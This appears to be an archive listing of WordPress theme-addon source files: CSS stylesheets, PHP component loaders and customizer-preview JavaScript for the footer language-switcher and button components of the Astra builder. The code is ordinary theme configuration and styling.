{ position: absolute; left: 1em; top: 50%; transform: translate(0, -50%) rotate(-270deg); } .ast-desktop .ast-primary-header-bar .main-header-menu.ast-account-nav-menu > .menu-item, .ast-desktop .ast-above-header-bar .main-header-menu.ast-account-nav-menu > .menu-item, .ast-desktop .ast-below-header-bar .main-header-menu.ast-account-nav-menu > .menu-item { height: auto; line-height: unset; bottom: -5px; } .site-header-section-left .ast-header-account-wrap.focus .ast-account-nav-menu, .site-header-section-left .ast-header-account-wrap:hover .ast-account-nav-menu { right: -100%; left: auto; } .ast-header-account-wrap.focus .ast-account-nav-menu, .ast-header-account-wrap:hover .ast-account-nav-menu { left: -100%; right: auto; } .ast-header-account-wrap .woocommerce-MyAccount-navigation-link.is-active a { background: unset; } .ast-header-account-wrap .menu-item:last-child > .menu-link { border-style: none; } .ast-divider-wrapper { border: 0; } .ast-mobile-popup-content .ast-header-divider-element { justify-content: center; } .ast-header-divider-element { position: relative; } .ast-fb-divider-layout-vertical { position: relative; } .ast-hb-divider-layout-vertical.ast-header-divider-element { height: 100%; } /** Default Spacing for Mobile Header elements except Menu */ .ast-mobile-popup-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element), .ast-mobile-header-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element) { padding: 15px 20px; } .footer-widget-area .ast-footer-divider-element { position: relative; align-items: center; } .footer-widget-area .ast-divider-wrapper { display: inline-block; } .ast-builder-footer-grid-columns .ast-fb-divider-layout-horizontal { -js-display: inline-flex; display: inline-flex; vertical-align: middle; } /** * Button. */ [data-section*="section-hb-button-"] .ast-builder-button-size-xs .ast-custom-button, [data-section*="section-fb-button-"] .ast-builder-button-size-xs .ast-custom-button { font-size: 13px; padding: 8px 20px; } [data-section*="section-hb-button-"] .ast-builder-button-size-sm .ast-custom-button, [data-section*="section-fb-button-"] .ast-builder-button-size-sm .ast-custom-button { font-size: 15px; padding: 10px 40px; } [data-section*="section-hb-button-"] .ast-builder-button-size-md .ast-custom-button, [data-section*="section-fb-button-"] .ast-builder-button-size-md .ast-custom-button { font-size: 17px; padding: 15px 45px; } [data-section*="section-hb-button-"] .ast-builder-button-size-lg .ast-custom-button, [data-section*="section-fb-button-"] .ast-builder-button-size-lg .ast-custom-button { font-size: 19px; padding: 20px 50px; } [data-section*="section-hb-button-"] .ast-builder-button-size-xl .ast-custom-button, [data-section*="section-fb-button-"] .ast-builder-button-size-xl .ast-custom-button { font-size: 21px; padding: 25px 55px; } .ast-fb-divider-layout-vertical { -js-display: flex; display: flex; } .site-footer-section { position: relative; } .ast-builder-language-switcher .ast-builder-language-switcher-menu { list-style: none; margin: 0; padding: 0; line-height: normal; -webkit-tap-highlight-color: transparent; } .ast-builder-language-switcher-layout-vertical .ast-builder-language-switcher { display: block; } .ast-builder-language-switcher-layout-vertical .ast-builder-language-switcher-menu { display: block; } .ast-builder-language-switcher-layout-horizontal .ast-builder-language-switcher { -js-display: flex; display: flex; } .ast-builder-language-switcher-layout-horizontal .ast-builder-language-switcher-menu { -js-display: flex; display: flex; flex-wrap: wrap; } .ast-builder-language-switcher a { -js-display: flex; display: flex; align-items: center; } .ast-lswitcher-item-header, .ast-lswitcher-item-footer { -js-display: inline-flex; display: inline-flex; } span.ast-lswitcher-item-footer:last-child, span.ast-lswitcher-item-header:last-child { margin-left: 0px; } builder/assets/css/minified/style.min.css 0000666 00000015001 15165730730 0014514 0 ustar 00 .ast-hb-account-login-wrapper .ast-hb-account-login{position:fixed;left:50%;top:50%;padding:35px;max-height:550px;width:340px;margin:0 0 0 -170px;background-color:#f1f1f1;z-index:1000011;box-shadow:0 3px 6px rgba(0,0,0,.3)}.ast-hb-account-login-wrapper .ast-hb-account-login-bg{position:fixed;top:0;bottom:0;left:0;right:0;background:#000;opacity:.7;z-index:1000010;transition:all .3s}.ast-hb-account-login-wrapper .ast-hb-login-header .ast-hb-login-close{background:0 0;border:0;font-size:24px;line-height:1;padding:.4em;color:inherit;-js-display:flex;display:flex;box-shadow:none}.ast-hb-account-login-wrapper #loginform input[type=password],.ast-hb-account-login-wrapper #loginform input[type=text]{width:100%;max-width:100%;margin-top:10px;border:1px solid;background-color:transparent;vertical-align:middle}.ast-hb-account-login-form-footer a.ast-header-account-footer-link:not(:last-child) span:after{content:"|";margin:0 .4em}.ast-header-account-wrap .ast-header-account-link{pointer-events:none}.ast-header-account-link.ast-account-action-link,.ast-header-account-link.ast-account-action-login,.ast-header-account-link.ast-account-action-login.customize-unpreviewable,.ast-header-break-point .ast-header-account-link{cursor:pointer;pointer-events:all}.ast-header-break-point .ast-hf-account-menu-wrap{display:none}.ast-header-account{-js-display:flex;display:flex}.ast-header-account-wrap .ast-hb-account-login-wrapper{visibility:hidden}.ast-header-account-wrap .ast-hb-account-login-wrapper .ast-hb-login-header{-js-display:flex;position:absolute;right:0;top:0;display:flex;justify-content:flex-end;min-height:calc(1.2em + 24px)}.ast-header-account-wrap .ast-hb-account-login-wrapper .ast-hb-account-login{transform:scale(.7);opacity:0;transition:all .3s;overflow:auto}.ast-header-account-wrap .ast-hb-account-login-wrapper.show{visibility:visible}.ast-header-account-wrap .ast-hb-account-login-wrapper.show .ast-hb-account-login{transform:scale(1) translateY(-50%);opacity:1}.ast-hb-login-body{height:100%;position:relative;line-height:1.5}.ast-desktop .ast-hf-account-menu-wrap.ast-main-header-bar-alignment{position:relative}.ast-desktop .main-header-bar .main-header-bar-navigation .ast-account-nav-menu{line-height:1.45}.ast-desktop .ast-account-nav-menu{width:240px;background:#fff;left:-999em;position:absolute;top:0;z-index:99999;list-style:none;margin:0;padding-left:0;border:0;box-shadow:0 4px 10px -2px rgba(0,0,0,.1)}.ast-desktop .ast-account-nav-menu .sub-menu{right:auto;top:0;margin-left:0}.ast-desktop .ast-account-nav-menu .menu-item.focus>.sub-menu,.ast-desktop .ast-account-nav-menu .menu-item:hover>.sub-menu{left:100%}.ast-desktop .ast-account-nav-menu .ast-left-align-sub-menu.menu-item.focus>.sub-menu,.ast-desktop .ast-account-nav-menu .ast-left-align-sub-menu.menu-item:hover>.sub-menu{left:-100%}.ast-desktop .ast-account-nav-menu .menu-item .menu-link{padding:.9em 1em}.ast-desktop .ast-account-nav-menu .menu-item{border-style:none}.ast-desktop .ast-account-nav-menu .menu-item.menu-item-has-children>.menu-link:after{position:absolute;right:1em;top:50%;transform:translate(0,-50%) rotate(270deg)}.ast-desktop .ast-above-header-bar .main-header-menu.ast-account-nav-menu>.menu-item,.ast-desktop .ast-below-header-bar .main-header-menu.ast-account-nav-menu>.menu-item,.ast-desktop .ast-primary-header-bar .main-header-menu.ast-account-nav-menu>.menu-item{height:auto;line-height:unset;bottom:-5px}.site-header-section-left .ast-header-account-wrap.focus .ast-account-nav-menu,.site-header-section-left .ast-header-account-wrap:hover .ast-account-nav-menu{left:-100%;right:auto}.ast-header-account-wrap.focus .ast-account-nav-menu,.ast-header-account-wrap:hover .ast-account-nav-menu{right:-100%;left:auto}.ast-header-account-wrap .woocommerce-MyAccount-navigation-link.is-active a{background:unset}.ast-header-account-wrap .menu-item:last-child>.menu-link{border-style:none}.ast-divider-wrapper{border:0}.ast-mobile-popup-content .ast-header-divider-element{justify-content:center}.ast-header-divider-element{position:relative}.ast-fb-divider-layout-vertical{position:relative}.ast-hb-divider-layout-vertical.ast-header-divider-element{height:100%}.ast-mobile-header-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element),.ast-mobile-popup-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element){padding:15px 20px}.footer-widget-area .ast-footer-divider-element{position:relative;align-items:center}.footer-widget-area .ast-divider-wrapper{display:inline-block}.ast-builder-footer-grid-columns .ast-fb-divider-layout-horizontal{-js-display:inline-flex;display:inline-flex;vertical-align:middle}[data-section*=section-fb-button-] .ast-builder-button-size-xs .ast-custom-button,[data-section*=section-hb-button-] .ast-builder-button-size-xs .ast-custom-button{font-size:13px;padding:8px 20px}[data-section*=section-fb-button-] .ast-builder-button-size-sm .ast-custom-button,[data-section*=section-hb-button-] .ast-builder-button-size-sm .ast-custom-button{font-size:15px;padding:10px 40px}[data-section*=section-fb-button-] .ast-builder-button-size-md .ast-custom-button,[data-section*=section-hb-button-] .ast-builder-button-size-md .ast-custom-button{font-size:17px;padding:15px 45px}[data-section*=section-fb-button-] .ast-builder-button-size-lg .ast-custom-button,[data-section*=section-hb-button-] .ast-builder-button-size-lg .ast-custom-button{font-size:19px;padding:20px 50px}[data-section*=section-fb-button-] .ast-builder-button-size-xl .ast-custom-button,[data-section*=section-hb-button-] .ast-builder-button-size-xl .ast-custom-button{font-size:21px;padding:25px 55px}.ast-fb-divider-layout-vertical{-js-display:flex;display:flex}.site-footer-section{position:relative}.ast-builder-language-switcher .ast-builder-language-switcher-menu{list-style:none;margin:0;padding:0;line-height:normal;-webkit-tap-highlight-color:transparent}.ast-builder-language-switcher-layout-vertical .ast-builder-language-switcher{display:block}.ast-builder-language-switcher-layout-vertical .ast-builder-language-switcher-menu{display:block}.ast-builder-language-switcher-layout-horizontal .ast-builder-language-switcher{-js-display:flex;display:flex}.ast-builder-language-switcher-layout-horizontal .ast-builder-language-switcher-menu{-js-display:flex;display:flex;flex-wrap:wrap}.ast-builder-language-switcher a{-js-display:flex;display:flex;align-items:center}.ast-lswitcher-item-footer,.ast-lswitcher-item-header{-js-display:inline-flex;display:inline-flex}span.ast-lswitcher-item-footer:last-child,span.ast-lswitcher-item-header:last-child{margin-right:0} builder/assets/css/minified/style-rtl.min.css 0000666 00000015007 15165730730 0015321 0 ustar 00 .ast-hb-account-login-wrapper .ast-hb-account-login{position:fixed;right:50%;top:50%;padding:35px;max-height:550px;width:340px;margin:0 -170px 0 0;background-color:#f1f1f1;z-index:1000011;box-shadow:0 3px 6px rgba(0,0,0,.3)}.ast-hb-account-login-wrapper .ast-hb-account-login-bg{position:fixed;top:0;bottom:0;right:0;left:0;background:#000;opacity:.7;z-index:1000010;transition:all .3s}.ast-hb-account-login-wrapper .ast-hb-login-header .ast-hb-login-close{background:100% 0;border:0;font-size:24px;line-height:1;padding:.4em;color:inherit;-js-display:flex;display:flex;box-shadow:none}.ast-hb-account-login-wrapper #loginform input[type=password],.ast-hb-account-login-wrapper #loginform input[type=text]{width:100%;max-width:100%;margin-top:10px;border:1px solid;background-color:transparent;vertical-align:middle}.ast-hb-account-login-form-footer a.ast-header-account-footer-link:not(:last-child) span:after{content:"|";margin:0 .4em}.ast-header-account-wrap .ast-header-account-link{pointer-events:none}.ast-header-account-link.ast-account-action-link,.ast-header-account-link.ast-account-action-login,.ast-header-account-link.ast-account-action-login.customize-unpreviewable,.ast-header-break-point .ast-header-account-link{cursor:pointer;pointer-events:all}.ast-header-break-point .ast-hf-account-menu-wrap{display:none}.ast-header-account{-js-display:flex;display:flex}.ast-header-account-wrap .ast-hb-account-login-wrapper{visibility:hidden}.ast-header-account-wrap .ast-hb-account-login-wrapper .ast-hb-login-header{-js-display:flex;position:absolute;left:0;top:0;display:flex;justify-content:flex-end;min-height:calc(1.2em + 24px)}.ast-header-account-wrap .ast-hb-account-login-wrapper .ast-hb-account-login{transform:scale(.7);opacity:0;transition:all .3s;overflow:auto}.ast-header-account-wrap .ast-hb-account-login-wrapper.show{visibility:visible}.ast-header-account-wrap .ast-hb-account-login-wrapper.show .ast-hb-account-login{transform:scale(1) translateY(-50%);opacity:1}.ast-hb-login-body{height:100%;position:relative;line-height:1.5}.ast-desktop .ast-hf-account-menu-wrap.ast-main-header-bar-alignment{position:relative}.ast-desktop .main-header-bar .main-header-bar-navigation .ast-account-nav-menu{line-height:1.45}.ast-desktop .ast-account-nav-menu{width:240px;background:#fff;right:-999em;position:absolute;top:0;z-index:99999;list-style:none;margin:0;padding-right:0;border:0;box-shadow:0 4px 10px -2px rgba(0,0,0,.1)}.ast-desktop .ast-account-nav-menu .sub-menu{left:auto;top:0;margin-right:0}.ast-desktop .ast-account-nav-menu .menu-item.focus>.sub-menu,.ast-desktop .ast-account-nav-menu .menu-item:hover>.sub-menu{right:100%}.ast-desktop .ast-account-nav-menu .ast-left-align-sub-menu.menu-item.focus>.sub-menu,.ast-desktop .ast-account-nav-menu .ast-left-align-sub-menu.menu-item:hover>.sub-menu{right:-100%}.ast-desktop .ast-account-nav-menu .menu-item .menu-link{padding:.9em 1em}.ast-desktop .ast-account-nav-menu .menu-item{border-style:none}.ast-desktop .ast-account-nav-menu .menu-item.menu-item-has-children>.menu-link:after{position:absolute;left:1em;top:50%;transform:translate(0,-50%) rotate(-270deg)}.ast-desktop .ast-above-header-bar .main-header-menu.ast-account-nav-menu>.menu-item,.ast-desktop .ast-below-header-bar .main-header-menu.ast-account-nav-menu>.menu-item,.ast-desktop .ast-primary-header-bar .main-header-menu.ast-account-nav-menu>.menu-item{height:auto;line-height:unset;bottom:-5px}.site-header-section-left .ast-header-account-wrap.focus .ast-account-nav-menu,.site-header-section-left .ast-header-account-wrap:hover .ast-account-nav-menu{right:-100%;left:auto}.ast-header-account-wrap.focus .ast-account-nav-menu,.ast-header-account-wrap:hover .ast-account-nav-menu{left:-100%;right:auto}.ast-header-account-wrap .woocommerce-MyAccount-navigation-link.is-active a{background:unset}.ast-header-account-wrap .menu-item:last-child>.menu-link{border-style:none}.ast-divider-wrapper{border:0}.ast-mobile-popup-content .ast-header-divider-element{justify-content:center}.ast-header-divider-element{position:relative}.ast-fb-divider-layout-vertical{position:relative}.ast-hb-divider-layout-vertical.ast-header-divider-element{height:100%}.ast-mobile-header-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element),.ast-mobile-popup-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element){padding:15px 20px}.footer-widget-area .ast-footer-divider-element{position:relative;align-items:center}.footer-widget-area .ast-divider-wrapper{display:inline-block}.ast-builder-footer-grid-columns .ast-fb-divider-layout-horizontal{-js-display:inline-flex;display:inline-flex;vertical-align:middle}[data-section*=section-fb-button-] .ast-builder-button-size-xs .ast-custom-button,[data-section*=section-hb-button-] .ast-builder-button-size-xs .ast-custom-button{font-size:13px;padding:8px 20px}[data-section*=section-fb-button-] .ast-builder-button-size-sm .ast-custom-button,[data-section*=section-hb-button-] .ast-builder-button-size-sm .ast-custom-button{font-size:15px;padding:10px 40px}[data-section*=section-fb-button-] .ast-builder-button-size-md .ast-custom-button,[data-section*=section-hb-button-] .ast-builder-button-size-md .ast-custom-button{font-size:17px;padding:15px 45px}[data-section*=section-fb-button-] .ast-builder-button-size-lg .ast-custom-button,[data-section*=section-hb-button-] .ast-builder-button-size-lg .ast-custom-button{font-size:19px;padding:20px 50px}[data-section*=section-fb-button-] .ast-builder-button-size-xl .ast-custom-button,[data-section*=section-hb-button-] .ast-builder-button-size-xl .ast-custom-button{font-size:21px;padding:25px 55px}.ast-fb-divider-layout-vertical{-js-display:flex;display:flex}.site-footer-section{position:relative}.ast-builder-language-switcher .ast-builder-language-switcher-menu{list-style:none;margin:0;padding:0;line-height:normal;-webkit-tap-highlight-color:transparent}.ast-builder-language-switcher-layout-vertical .ast-builder-language-switcher{display:block}.ast-builder-language-switcher-layout-vertical .ast-builder-language-switcher-menu{display:block}.ast-builder-language-switcher-layout-horizontal .ast-builder-language-switcher{-js-display:flex;display:flex}.ast-builder-language-switcher-layout-horizontal .ast-builder-language-switcher-menu{-js-display:flex;display:flex;flex-wrap:wrap}.ast-builder-language-switcher a{-js-display:flex;display:flex;align-items:center}.ast-lswitcher-item-footer,.ast-lswitcher-item-header{-js-display:inline-flex;display:inline-flex}span.ast-lswitcher-item-footer:last-child,span.ast-lswitcher-item-header:last-child{margin-left:0} type/footer/language-switcher/classes/class-astra-footer-language-switcher-component-loader.php 0000666 00000005445 15165730730 0030560 0 ustar 00 builder <?php /** * Language Switcher Styling Loader for Astra theme. * * @package Astra Builder * @link https://www.brainstormforce.com * @since Astra 3.1.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Customizer Initialization * * @since 3.1.0 */ // @codingStandardsIgnoreStart class Astra_Footer_Language_Switcher_Component_Loader { // @codingStandardsIgnoreEnd /** * Constructor * * @since 3.1.0 */ public function __construct() { add_filter( 'astra_theme_defaults', array( $this, 'theme_defaults' ) ); add_action( 'customize_preview_init', array( $this, 'preview_scripts' ), 110 ); } /** * Default customizer configs. * * @param array $defaults Astra options default value array. * * @since 3.1.0 */ public function theme_defaults( $defaults ) { // Language Switcher footer defaults. $defaults['footer-language-switcher-type'] = 'custom'; $defaults['footer-language-switcher-layout'] = 'vertical'; $defaults['footer-language-switcher-show-flag'] = true; $defaults['footer-language-switcher-show-name'] = true; $defaults['footer-language-switcher-show-tname'] = false; $defaults['footer-language-switcher-show-code'] = false; $defaults['section-fb-language-switcher-flag-spacing'] = array( 'desktop' => '5', 'tablet' => '', 'mobile' => '', ); $defaults['section-fb-language-switcher-flag-size'] = array( 'desktop' => '20', 'tablet' => '', 'mobile' => '', ); $defaults['footer-language-switcher-options'] = array( 'items' => array( array( 'id' => 'gb', 'enabled' => true, 'url' => '', 'label' => __( 'English', 'astra-addon' ), ), ), ); $defaults['footer-language-switcher-alignment'] = array( 'desktop' => 'flex-start', 'tablet' => 'flex-start', 'mobile' => 'flex-start', ); $defaults['section-fb-language-switcher-margin'] = astra_addon_builder_helper()->default_responsive_spacing; return $defaults; } /** * Customizer Preview * * @since 3.1.0 */ public function preview_scripts() { /** * Load unminified if SCRIPT_DEBUG is true. */ /* Directory and Extension */ $dir_name = ( SCRIPT_DEBUG ) ? 'unminified' : 'minified'; $file_prefix = ( SCRIPT_DEBUG ) ? '' : '.min'; wp_enqueue_script( 'astra-footer-language-switcher-customizer-preview-js', ASTRA_ADDON_FOOTER_LANGUAGE_SWITCHER_URI . '/assets/js/customizer-preview.js', array( 'customize-preview', 'ahfb-addon-base-customizer-preview' ), ASTRA_EXT_VER, true ); } } /** * Kicking this off by creating the object of the class. */ new Astra_Footer_Language_Switcher_Component_Loader(); builder/type/footer/language-switcher/class-astra-footer-language-switcher-configs.php 0000666 00000002343 15165730730 0025356 0 ustar 00 <?php /** * Astra Theme Customizer Configuration Builder. * * @package astra-builder * @link https://wpastra.com/ * @since 3.1.0 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Register Builder Customizer Configurations. * * @since 3.1.0 */ // @codingStandardsIgnoreStart class Astra_Footer_Language_Switcher_Configs extends Astra_Customizer_Config_Base { // @codingStandardsIgnoreEnd /** * Register Builder Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 3.1.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $configurations = Astra_Language_Switcher_Component_Configs::register_configuration( $configurations, 'footer', 'section-fb-language-switcher' ); return $configurations; } } /** * Kicking this off by creating object of this class. */ new Astra_Footer_Language_Switcher_Configs(); builder/type/footer/language-switcher/dynamic-css/dynamic.css.php 0000666 00000004166 15165730730 0021242 0 ustar 00 <?php /** * Language_Switcher control - Dynamic CSS * * @package Astra Builder * @since 3.1.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Language Switcher Colors */ add_filter( 'astra_dynamic_theme_css', 'astra_addon_footer_lang_switcher_dynamic_css' ); /** * Dynamic CSS * * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * @return String Generated dynamic CSS for Heading Colors. * * @since 3.1.0 */ function astra_addon_footer_lang_switcher_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { if ( Astra_Addon_Builder_Helper::is_component_loaded( 'language-switcher', 'footer' ) ) { $dynamic_css .= Astra_Language_Switcher_Component_Dynamic_CSS::astra_language_switcher_dynamic_css( 'footer' ); $selector = '.ast-footer-language-switcher-element[data-section="section-fb-language-switcher"], .ast-footer-language-switcher .ast-builder-language-switcher-layout-horizontal .ast-builder-language-switcher-menu'; $alignment = astra_get_option( 'footer-language-switcher-alignment' ); $desktop_alignment = ( isset( $alignment['desktop'] ) ) ? $alignment['desktop'] : ''; $tablet_alignment = ( isset( $alignment['tablet'] ) ) ? $alignment['tablet'] : ''; $mobile_alignment = ( isset( $alignment['mobile'] ) ) ? $alignment['mobile'] : ''; /** * Copyright CSS. */ $css_output_desktop = array( $selector => array( 'justify-content' => $desktop_alignment, ), ); $css_output_tablet = array( $selector => array( 'justify-content' => $tablet_alignment, ), ); $css_output_mobile = array( $selector => array( 'justify-content' => $mobile_alignment, ), ); /* Parse CSS from array() */ $css_output = astra_parse_css( $css_output_desktop ); $css_output .= astra_parse_css( $css_output_tablet, '', astra_addon_get_tablet_breakpoint() ); $css_output .= astra_parse_css( $css_output_mobile, '', astra_addon_get_mobile_breakpoint() ); $dynamic_css .= $css_output; } return $dynamic_css; } builder/type/footer/language-switcher/class-astra-footer-language-switcher-component.php 0000666 00000002503 15165730730 0025726 0 ustar 00 <?php /** * HTML component. * * @package Astra Builder * @link https://www.brainstormforce.com * @since Astra 3.1.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } define( 'ASTRA_ADDON_FOOTER_LANGUAGE_SWITCHER_DIR', ASTRA_EXT_DIR . 'classes/builder/type/footer/language-switcher/' ); define( 'ASTRA_ADDON_FOOTER_LANGUAGE_SWITCHER_URI', ASTRA_EXT_URI . 'classes/builder/type/footer/language-switcher/' ); /** * Heading Initial Setup * * @since 3.1.0 */ // @codingStandardsIgnoreStart class Astra_Footer_Language_Switcher_Component { // @codingStandardsIgnoreEnd /** * Constructor function that initializes required actions and hooks */ public function __construct() { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound require_once ASTRA_ADDON_FOOTER_LANGUAGE_SWITCHER_DIR . 'classes/class-astra-footer-language-switcher-component-loader.php'; // Include front end files. if ( ! is_admin() ) { require_once ASTRA_ADDON_FOOTER_LANGUAGE_SWITCHER_DIR . 'dynamic-css/dynamic.css.php'; } // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } } /** * Kicking this off by creating an object. */ new Astra_Footer_Language_Switcher_Component(); builder/type/footer/language-switcher/assets/js/customizer-preview.js 0000666 00000004435 15165730730 0022242 0 ustar 00 /** * This file adds some LIVE to the Customizer live preview. To leverage * this, set your custom settings to 'postMessage' and then add your handling * here. Your javascript should grab settings from customizer controls, and * then make any necessary changes to the page using jQuery. * * @package Astra Builder * @since x.x.x */ ( function( $ ) { var tablet_break_point = AstraBuilderFooterButtonData.tablet_break_point || 768, mobile_break_point = AstraBuilderFooterButtonData.mobile_break_point || 544; astra_builder_language_switcher_css( 'footer' ); wp.customize( 'astra-settings[footer-language-switcher-alignment]', function( value ) { value.bind( function( alignment ) { var dynamicStyle = ''; if( alignment.desktop != '' || alignment.tablet != '' || alignment.mobile != '' ) { dynamicStyle += '.ast-footer-language-switcher[data-section="section-fb-language-switcher"], .ast-footer-language-switcher .ast-builder-language-switcher-layout-horizontal .ast-builder-language-switcher-menu {'; dynamicStyle += 'justify-content: ' + alignment['desktop'] + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += '.ast-footer-language-switcher[data-section="section-fb-language-switcher"], .ast-footer-language-switcher .ast-builder-language-switcher-layout-horizontal .ast-builder-language-switcher-menu {'; dynamicStyle += 'justify-content: ' + alignment['tablet'] + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += '.ast-footer-language-switcher[data-section="section-fb-language-switcher"], .ast-footer-language-switcher .ast-builder-language-switcher-layout-horizontal .ast-builder-language-switcher-menu {'; dynamicStyle += 'justify-content: ' + alignment['mobile'] + ';'; dynamicStyle += '} '; dynamicStyle += '} '; } astra_add_dynamic_css( 'footer-language-switcher-alignment', dynamicStyle ); } ); } ); } )( jQuery ); builder/type/footer/button/class-astra-ext-footer-button-component-configs.php 0000666 00000002340 15165730730 0023755 0 ustar 00 <?php /** * Astra Theme Customizer Configuration Footer Button. * * @package astra-builder * @link https://wpastra.com/ * @since 3.1.0 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Register Builder Customizer Configurations. * * @since 3.1.0 */ // @codingStandardsIgnoreStart class Astra_Ext_Footer_Button_Component_Configs extends Astra_Customizer_Config_Base { // @codingStandardsIgnoreEnd /** * Register Builder Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 3.1.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $configurations = Astra_Addon_Button_Component_Configs::register_configuration( $configurations, 'footer', 'section-fb-button-' ); return $configurations; } } /** * Kicking this off by creating object of this class. */ new Astra_Ext_Footer_Button_Component_Configs(); builder/type/footer/button/assets/js/minified/customizer-preview.min.js 0000666 00000000123 15165730730 0022500 0 ustar 00 jQuery,astra_addon_button_css("footer",AstraAddonFooterButtonData.component_limit); builder/type/footer/button/assets/js/unminified/customizer-preview.js 0000666 00000000737 15165730730 0022274 0 ustar 00 /** * This file adds some LIVE to the Customizer live preview. To leverage * this, set your custom settings to 'postMessage' and then add your handling * here. Your javascript should grab settings from customizer controls, and * then make any necessary changes to the page using jQuery. * * @package Astra Builder * @since x.x.x */ ( function( $ ) { astra_addon_button_css( 'footer', AstraAddonFooterButtonData.component_limit ); } )( jQuery ); builder/type/footer/button/dynamic-css/dynamic.css.php 0000666 00000001363 15165730730 0017140 0 ustar 00 <?php /** * Footer Button - Dynamic CSS * * @package Astra Builder * @since 3.3.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Footer Buttons */ add_filter( 'astra_dynamic_theme_css', 'astra_addon_footer_button_dynamic_css' ); /** * Dynamic CSS * * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * @return String Generated dynamic CSS for Footer Buttons. * * @since 3.3.0 */ function astra_addon_footer_button_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { $dynamic_css .= Astra_Addon_Button_Component_Dynamic_CSS::astra_ext_button_dynamic_css( 'footer' ); return $dynamic_css; } builder/type/footer/button/class-astra-ext-footer-button-component.php 0000666 00000002541 15165730730 0022332 0 ustar 00 <?php /** * Footer Button component. * * @package Astra Builder * @link https://www.brainstormforce.com * @since Astra 3.1.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } define( 'ASTRA_ADDON_EXT_FOOTER_BUTTON_DIR', ASTRA_EXT_DIR . 'classes/builder/type/footer/button/' ); define( 'ASTRA_ADDON_EXT_FOOTER_BUTTON_URI', ASTRA_EXT_URI . 'classes/builder/type/footer/button/' ); /** * Button Initial Setup * * @since 3.1.0 */ // @codingStandardsIgnoreStart class Astra_Ext_Footer_Button_Component { // @codingStandardsIgnoreEnd /** * Constructor function that initializes required actions and hooks */ public function __construct() { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound require_once ASTRA_ADDON_EXT_FOOTER_BUTTON_DIR . 'classes/class-astra-ext-footer-button-component-loader.php'; // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound // Include front end files. if ( ! is_admin() ) { require_once ASTRA_ADDON_EXT_FOOTER_BUTTON_DIR . 'dynamic-css/dynamic.css.php'; } // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } } /** * Kicking this off by creating an object. */ new Astra_Ext_Footer_Button_Component(); builder/type/footer/button/classes/class-astra-ext-footer-button-component-loader.php 0000666 00000004603 15165730730 0025234 0 ustar 00 <?php /** * Button Styling Loader for Astra theme. * * @package Astra Builder * @link https://www.brainstormforce.com * @since Astra 3.1.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Customizer Initialization * * @since 3.1.0 */ // @codingStandardsIgnoreStart class Astra_Ext_Footer_Button_Component_Loader { // @codingStandardsIgnoreEnd /** * Constructor * * @since 3.1.0 */ public function __construct() { add_filter( 'astra_theme_defaults', array( $this, 'theme_defaults' ) ); add_action( 'customize_preview_init', array( $this, 'preview_scripts' ), 110 ); } /** * Default customizer configs. * * @param array $defaults Astra options default value array. * * @since 3.1.0 */ public function theme_defaults( $defaults ) { // Button footer defaults. $component_limit = astra_addon_builder_helper()->component_limit; for ( $index = 1; $index <= $component_limit; $index++ ) { $_prefix = 'button' . $index; $defaults[ 'footer-' . $_prefix . '-size' ] = 'sm'; $defaults[ 'footer-' . $_prefix . '-box-shadow-control' ] = array( 'x' => '0', 'y' => '0', 'blur' => '0', 'spread' => '0', ); $defaults[ 'footer-' . $_prefix . '-box-shadow-color' ] = 'rgba(0,0,0,0.1)'; $defaults[ 'footer-' . $_prefix . '-box-shadow-position' ] = 'outline'; } return $defaults; } /** * Customizer Preview * * @since 3.3.0 */ public function preview_scripts() { /** * Load unminified if SCRIPT_DEBUG is true. */ /* Directory and Extension */ $dir_name = ( SCRIPT_DEBUG ) ? 'unminified' : 'minified'; $file_prefix = ( SCRIPT_DEBUG ) ? '' : '.min'; wp_enqueue_script( 'astra-ext-footer-button-customizer-preview-js', ASTRA_ADDON_EXT_FOOTER_BUTTON_URI . '/assets/js/' . $dir_name . '/customizer-preview' . $file_prefix . '.js', array( 'customize-preview', 'ahfb-addon-base-customizer-preview' ), ASTRA_EXT_VER, true ); // 